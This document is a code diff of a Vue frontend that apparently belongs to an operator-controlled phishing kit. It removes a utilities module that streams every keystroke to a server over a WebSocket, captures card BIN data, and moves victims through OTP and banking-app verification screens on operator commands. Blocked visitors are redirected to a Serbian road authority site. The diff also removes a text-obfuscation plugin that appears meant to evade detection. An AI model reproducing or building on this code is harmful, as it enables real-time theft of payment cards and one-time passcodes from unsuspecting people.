import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.putevi-srbije.rs/";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -25,6 +24,5 @@ app.use(i18n);
|
|||||||
app.use(createPinia());
|
app.use(createPinia());
|
||||||
app.use(router);
|
app.use(router);
|
||||||
|
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
